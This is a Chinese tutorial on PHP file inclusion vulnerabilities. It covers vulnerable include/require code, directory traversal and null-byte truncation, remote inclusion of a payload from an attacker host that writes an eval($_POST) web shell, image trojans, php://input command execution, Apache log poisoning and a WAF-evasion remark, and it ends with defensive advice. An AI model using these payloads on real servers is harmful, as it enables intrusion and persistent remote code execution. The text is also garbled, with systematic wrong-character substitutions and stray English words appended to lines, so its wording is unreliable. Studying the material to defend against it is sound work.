定义:在经过PHP的函数引入文件时,因为传入的文件名没有通过合理的校验,从而操做了预想以外的文件,致使意外的文件泄露甚至恶意的代码注入。php
程序开发人员一般会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程通常被称为包含。web
程序开发人员都但愿代码更加灵活,因此一般会将被包含的文件设置为变量,用来进行动态调用,但正是因为这种灵活性,从而致使客户端能够调用一个恶意文件,形成文件包含漏洞。
文件包含漏洞在PHP Web Application中居多,而在JSP,ASP,ASP.NET程序中却很是少,甚至没有包含漏洞的存在。
PHP常见的致使文件包含的函数以下:include(),include_once(),require(),require_once(),fopen(),readfile()
当使用前4个函数包含一个新的文件时,只要文件内容符合PHP语法规范,那么任何扩展名均可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。shell
后2个函数会形成敏感文件被读取。windows
要想成功利用文件包含漏洞,须要知足下面两个条件:bash
<?php $file = $_GET['file']; if (file_exists('/home/wwwrun'.$file.'.php')) { include '/home/wwwrun'.$file.'.php'; } ?>
假如用户控制$file的值为“../../etc/passwd”,那么这段代码至关于include '/home/wwwrun/../../etc/passwd.php',而这个文件显然是不存在的。
须要用到字符串截断技巧:PHP内核是由C语言实现的,所以使用了C语言中的一些字符串处理函数。在链接字符串时,0字节(\x00)将做为字符串结束符。因此在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量以后的字符串,即:../../etc/passwd\0,经过Web输入时,只须要UrlEncode,变成../../etc/passwd%00
“../../../”的方式又被称为“目录遍历”。能够经过配置PHP的open_basedir来限制,其做用是限制在某个特定目录下PHP能打开的文件。例如open_basedir = D:\soft\develop\env\sites\www.a.com,在windows下多个目录应当用分号隔开,在Linux下则用冒号隔开。服务器
要解决文件包含漏洞,一种方式是使用枚举即一种白名单的方式。函数
若是PHP的配置选项allow_url_include为ON的话,则include/require函数是能够加载远程文件的,这种漏洞被称为远程文件包含漏洞。ui
require_once $basePath . '/action/m_share.php'
攻击者能够构造以下的攻击URL /?param=http://attacker/phpshell.txt?
最终加载的代码实际上执行了 require_once 'http://attacker/phpshell.txt?/action/m_share.php'
问号后面的代码被解释成URL的querystring,也是一种“截断”,这是在利用远程文件包含漏洞时的常见技巧。一样的,%00也能够用作截断符号。加密
读取敏感文件
访问URL:http://www.xxser.com/index.php?page=/etc/passwd
若是目标主机文件存在,而且有相应的权限,那么就能够读出文件的内容。反之,就会获得一个相似于;open_basedir restriction in effect的警告。url
远程包含Shell
若是目标主机allow_url_fopen选项是激活的,就能够尝试远程包含一句话木马,如:http://www.attacker.com/echo.txt
,代码以下:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
访问:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt
。将会在index.php所在的目录下生成shell.php,内容为:
<?php eval($_POST[xxser]);?>
本地包含配合文件上传
假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg
图片代码以下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg
,包含这张图片,将会在index.php所在的目录下生成shell.php。
使用PHP封装协议
http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
http://www.example.com/index.php?page=php://input
,而且提交数据为:<?php system('net user');?>
包含Apache日志文件
本地文件包含的利用。
Apache有两个日志文件:access.log(访问日志)和error.log(错误日志)。
攻击者先访问http://www.example.com/<?php phpinfo();?>
,操做这一步时,须要Burp,不然<,>,空格都会被转码。
随后访问http://www.xxser.com/index.php?page=./../Apache-20/logs/access.log
使用这种方式时,找到Apache的路径是关键。
截断包含
<?php if(isset($_GET['page'])){ include $_GET['page'].".php"; }else{ include 'home.php'; } ?>
若是此时存在一个图片木马,名为1.jpg,能够输入以下URL:http://www.example.com/index.php?page=1.jpg%00
固然这种方法只适用于magic_quotes_gpc=Off的状况下。
绕过WAF防火墙
图片木马通常不会被web杀毒软件查出来。
1.严格判断包含的参数是否外部可控,由于文件包含漏洞利用成功与否的关键点就在于被包含的文件是 否可被外部控制;
2.路径限制:限制被包含的文件只能在某一文件夹内,必定要禁止目录跳转字符,如:“../”;
3.包含文件验证:验证被包含的文件是不是白名单中的一员;
4.尽可能不要使用动态包含,能够在须要包含的页面固定写好,如:include("head.php");。
include和require语句是相同的,除了错误处理方面: reuqire会生成致命错误(E_COMPILE_ERROR)并中止脚本 include只生成错误报告(E_WARING),而且脚本会继续 require和require_once的差异是,require重复调用会屡次加载你引用的文件,而require_once只加载一次,而无论你实际上调用了多少次,主要用于复杂的文件包含关系。 include和include_once的差异也能够以此类推。